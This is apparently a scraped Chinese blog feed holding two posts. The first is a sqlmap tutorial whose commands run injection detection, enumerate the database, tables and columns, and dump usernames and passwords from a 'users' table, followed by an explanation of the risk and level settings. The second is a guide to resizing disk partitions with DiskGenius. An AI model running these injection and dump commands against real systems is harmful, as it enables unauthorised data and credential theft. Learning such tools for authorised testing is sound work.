基本的SQL注入检测,可以检测注入点以及可注入类型 python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd 查看当前数据库 python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd --current-db 查表 python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd -D security --tables 查字段 python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd -D security -T users --columns 查数据 python sqlmap.py -r "C:/Users/ASUS/Desktop/1.txt" --batch -p passwd -D security -T users -C username,id,password --dump

风险和测试等级

risk（风险等级）

默认为1（范围：1~3）

risk 越高，sqlmap 会尝试更具风险性的 SQL 注入技术（如 OR-based 注入、堆叠查询等）

risk=3 可能导致数据被修改或删除，谨慎使用

level（测试等级）

默认为1（范围：1~5）

level 越高，sqlmap 会测试更多的参数（如 User-Agent、Referer、Cookie）和更复杂的 payload

• level=1（默认）：仅测试 GET 和 POST 参数。
• level=2：增加 Cookie 头测试。
• level=3：增加 User-Agent 和 Referer 测试。
• level=4：测试所有 HTTP 头（如 X-Forwarded-For）。
• level=5：测试所有可能的注入点（包括 Host 头）

]]> https://hackun.top/2025/07/16/sqlmap%E8%87%AA%E5%8A%A8%E6%B3%A8%E5%85%A5/ 2025-07-16T02:39:13.212Z

sqlmap自动注入

DiskGenius无损调整分区大小

DiskGenius官网下载

由于C盘爆红，我决定将无用的盘的空间扩充给C盘

1.选中要调整大小的分区，然后点击鼠标右键，在弹出的菜单中，选择“调整分区大小”菜单项

但在这边我遇到一个问题：无法点击调整分区大小

原因在于Windows11默认采用BitLocker加密

我们打开设置中的隐私与安全中的设备加密，关掉设备加密

之后就可以正常调整分区大小

要想将某分区的大小扩大，通常还要同时将另一个分区的大小缩小。要想将某个分区的大小缩小，则通常还要同时将另一个分区的大小扩大

在使用DiskGenius进行分区调整时，应该选择需要被调整小的分区

软件弹出“调整分区容量”对话框，可以设置各个分区大小调整选项

2. 拖拽分区前部或后部，设置需要调整的分区大小，然后在下拉框选择如何处理这部分磁盘空间

分区前部的空间为要给其他盘的空间，自行分配（上述为F盘要给C盘797.74MB的空间）

3.点击“开始”按钮，DiskGenius会先显示一个提示窗口，显示本次无损分区调整的操作步骤以及一些注意事项

之后就会重启电脑自动操作（注意不要动电脑，否则会直接退出操作，又得重来）

完成之后就会发现C盘敞亮多了

]]> https://hackun.top/2025/07/15/DiskGenius%E6%97%A0%E6%8D%9F%E8%B0%83%E6%95%B4%E5%88%86%E5%8C%BA%E5%A4%A7%E5%B0%8F/ 2025-07-15T03:37:00.927Z

DiskGenius无损调整分区大小